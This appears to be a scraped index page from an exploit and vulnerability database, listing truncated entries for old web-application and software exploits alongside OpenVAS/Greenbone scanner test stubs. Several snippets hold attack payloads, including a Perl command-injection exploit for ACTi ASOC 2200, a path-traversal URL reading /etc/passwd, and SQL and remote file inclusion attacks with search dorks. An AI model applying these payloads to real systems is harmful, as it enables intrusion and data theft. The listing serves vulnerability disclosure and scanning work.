Nmap NSE net: afp-path-vuln

This VT has been deprecated and is therefore no longer functional. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

ACTi ASOC 2200 Web Configurator 2.6 Remote Root Command Execution

!perl ACTi ASOC 2200 Web Configurator + ACTi ASOC 2200 Web Configurator \n"; exit; if! $ARGV1 $cmd = "id"; my $result = get"http://$host/cgi-bin/test?iperf=;$cmd &"; if defined $result print " $cmd\n $result"; else print "- Not Vulnerable\n";...

Unfixed XSS vulnerability at www.nacha.org

Security researcher haRI , has submitted on 02/08/2011 a cross-site-scripting XSS vulnerability affecting www.nacha.org, which at the time of submission ranked 50473 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/12/2011. It is currently...

Raja Natarajan Guestbook 1.0 Local File Inclusion

Raja Natarajan GUestbook 1.0 Local File Inclusion Exploit App: http://sourceforge.net/projects/phpscript/files/phpscript/Raja%20Guestbook/guestbook1.0.zip/download Author: h0rd Vuln: http://127.0.0.1/guestbook/add.php?lang=../../../../../../../../../../../../../../../etc/passwd%00 Thx: cr4wl3r,...

Joomla Flipwall SQL Injection

Joomla Component flipwall SQL Injection Vulnerability Author : Fl0riX Bug Researchers Name : Joomla comflipwall Bug Type : SQL injection Dork: "comflipwall" Infection : Admin Login Bilgileri Alinabilir. Demo Vuln : +http://0611.info/index.php?option=comflipwall&controller=flipwall&catid=EXPLOIT +...

Unfixed XSS vulnerability at www.lottomaticaitalia.it

Security researcher d3v1l, has submitted on 15/10/2010 a cross-site-scripting XSS vulnerability affecting www.lottomaticaitalia.it, which at the time of submission ranked 19383 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 20/12/2011. It is...

Debian: Security Advisory (DSA-2106-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Storyteller CMS - 'var' Local File Inclusion

== Title: Storyteller CMS var Local File Include Vuln Version: n/a Link: http://www.esselbach.com/freeware.php?id=2 == Author: BorN To K!LL - h4ck3r Contact: [email protected] == Vuln code: in GetTemplate function , line 113 to 127 function GetTemplate$var if fileexists"templates/$var.tmp.php"...

Opera Browser Multiple Vulnerabilities july-10 (Win02)

The host is installed with Opera web browser and is prone to multiple vulnerabilities. OpenVAS Vulnerability Test $Id: gboperamultvulnwin02july10.nasl 5323 2017-02-17 08:49:23Z teissa $ Opera Browser Multiple Vulnerabilities july-10 Win02 Authors: Antu Sanadi Copyright: Copyright c 2010 Greenbone...

Batch Audio Converter Lite Edition <= v1.0.0.0 Stack Buffer Overflow

Exploit for windows platform in category local exploits ========================================================================== Batch Audio Converter Lite Edition = v1.0.0.0 Stack Buffer Overflow SEH ========================================================================== Software Link:...

MS10-041: Vulnerability in Microsoft .NET Framework Could Allow Tampering (981343)

A data tampering vulnerability exists in the Microsoft .NET Framework that could allow an attacker to tamper with signed XML content without being detected. In custom applications, the security impact depends on the specific usage scenario. Scenarios in which signed XML messages are transmitted...

Sphider Script 1.3.x Command Execution

======================================================================= Sphider Script Remote Code Execution ======================================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ ...

Sphider Script Remote Code Execution

Exploit for php platform in category web applications ==================================== Sphider Script Remote Code Execution ==================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1...

Direct News 4.10.2 - Multiple Remote File Inclusions

\|/// \ - - // @ @ ----oOOo---oOOo-------------------------------------------------- Direct News 4.10.2 Multiple Remote File Include Vulnerability Script: http://code.google.com/p/directnews/downloads/list Author: mat Mail: [email protected]...

Joomla! Component com_jwmmxtd - Remote File Inclusion

Joomla component comjwmmxtd = Remote File Inclusion Vulnerability Info: "JW Media Manager XTD" comjwmmxtd Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x Version: 1.2 License: http://www.gnu.org/copyleft/gpl.html Page: http://www.joomlaworks.gr Download:...

MiNBank 1.5.0 - Remote Command Execution

MiNBank 1.5.0 - Remote Command Execution !/usr/bin/perl MiNBank 1.5.0 Remote Command Execution Exploit download: http://downloads.sourceforge.net/minbank/ Author: Jose Luis Gongora Fernandez 'aka' JosS mail: sys-projectathotmaildotcom site: http://www.hack0wn.com/ team: Spanish Hackers Team - SHT...

Mambo Component com_acnews [id] SQL Injection

Exploit for unknown platform in category web applications ============================================= Mambo Component comacnews id SQL Injection ============================================= Mambo Component comacnews id | SQL Injection Author: Zero Bits & Xzit3 Team: Ro0T-MaFia Member's: Zero...

Mambo Component 'com_acnews' - 'id' SQL Injection

Mambo Component comacnews id | SQL Injection Author: Zero Bits & Xzit3 Team: Ro0T-MaFia Member's: Zero Bits, CMD, Jeferx, Xzit3, XP3RM4 & Jeferx Date: 15/02/2010 Contact: [email protected] - [email protected] Country: Venezuela - Mexico Vulnerability's: + SQL Injection: Error: You hav...

ULoki Community Forum 2.1 Cross Site Scripting

Exploit Title: ULoki Community Forum v2.1 usercp.php Cross Site Scripting Date: 10/02/2010 Author: Sioma Labs Software Link: http://www.uloki.com/download/ulokiforum06may2009.zip Version: v2.1 Tested on: Windows SP 2 / WAMP CVE : Code : / | | | | | \ | |/ | ' \ / | | | / | ' / | | | | | | | | |...

Killmonster 2.1 SQL Injection

Killmonster + Download : http://scripts.ringsworld.com/games-and-entertainment/km2/ + Vuln Code : login.php Type Username Here: Type Password Here: authenticate.php $isadmin=$POST'isadmin'; $password=$POST'password'; $password=md5$password; $query = "select from kmadmins where username='$isadmin'...